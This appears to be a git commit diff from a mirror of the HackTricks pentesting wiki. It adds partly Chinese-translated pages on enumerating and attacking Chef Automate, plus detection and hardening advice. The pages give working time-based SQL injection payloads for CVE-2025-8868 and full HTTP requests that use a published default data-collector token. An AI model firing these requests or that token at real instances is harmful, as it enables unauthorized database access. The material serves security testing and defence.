mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-ci-cd/chef-automate-security/README.md', 'sr
This commit is contained in:
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
# Chef Automate 安全
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是 Chef Automate
|
||||
|
||||
Chef Automate 是一个用于基础设施自动化、合规性和应用交付的平台。它暴露一个 web UI(通常为 Angular),通过 gRPC-Gateway 与后端 gRPC services 通信,提供类似 REST 的端点,路径例如 /api/v0/。
|
||||
|
||||
- 常见的后端组件: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- 认证机制: user/API tokens and a data collector token header x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,142 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
本页汇集了针对 Chef Automate 实例进行枚举和攻击的实用技术,重点包括:
|
||||
- 发现 gRPC-Gateway-backed REST endpoints 并通过 validation/error responses 推断请求 schema
|
||||
- 在存在默认值时滥用 x-data-collector-token 认证头
|
||||
- 在 Compliance API 中的 Time-based blind SQL injection(CVE-2025-8868),影响 /api/v0/compliance/profiles/search 中的 filters[].type 字段
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Often Angular。静态 bundle 可以提示 REST 路径(例如 /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: 强烈提示使用 PostgreSQL 和 Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate 暴露了一个 data collector,通过专用头对请求进行认证:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: 某些环境可能保留默认 token,从而获得对受保护 API 路由的访问权限。已在野外观察到的已知默认值:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
如果存在,该 token 可用于调用本应受 auth 限制的 Compliance API 端点。强化时务必尝试轮换/禁用默认值。
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed 端点经常 leak 有用的 validation 错误,这些错误会描述期望的请求模型。
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
格式错误的 JSON 或字段类型不正确通常会触发带有提示的 4xx/5xx 响应,且响应头会显示 gRPC-Gateway 的行为。使用这些信息映射字段并定位注入面。
|
||||
|
||||
## 合规 API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- 受影响的端点: POST /api/v0/compliance/profiles/search
|
||||
- 注入点: filters[].type
|
||||
- 漏洞类别: time-based blind SQL injection in PostgreSQL
|
||||
- 根本原因: 在将 type 字段插入到动态 SQL 片段(可能用于构建 identifiers/WHERE clauses)时,缺乏正确的 parameterization/whitelisting。type 中的构造值会被 PostgreSQL 评估。
|
||||
|
||||
有效的 time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
技术说明:
|
||||
- 用单引号关闭原始字符串
|
||||
- 连接一个调用 pg_sleep(N) 的子查询
|
||||
- 通过 || 重新进入字符串上下文,以便无论 type 嵌入何处,最终的 SQL 都保持语法有效
|
||||
|
||||
### 通过差分延迟验证
|
||||
|
||||
发送成对请求并比较响应时间以验证服务器端执行:
|
||||
|
||||
- N = 1 秒
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 秒
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> Tip: 使用 timing validator(例如,多次试验并用统计比较)来减少噪声和误报。
|
||||
|
||||
### Impact
|
||||
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,5 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
# GCP - 后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user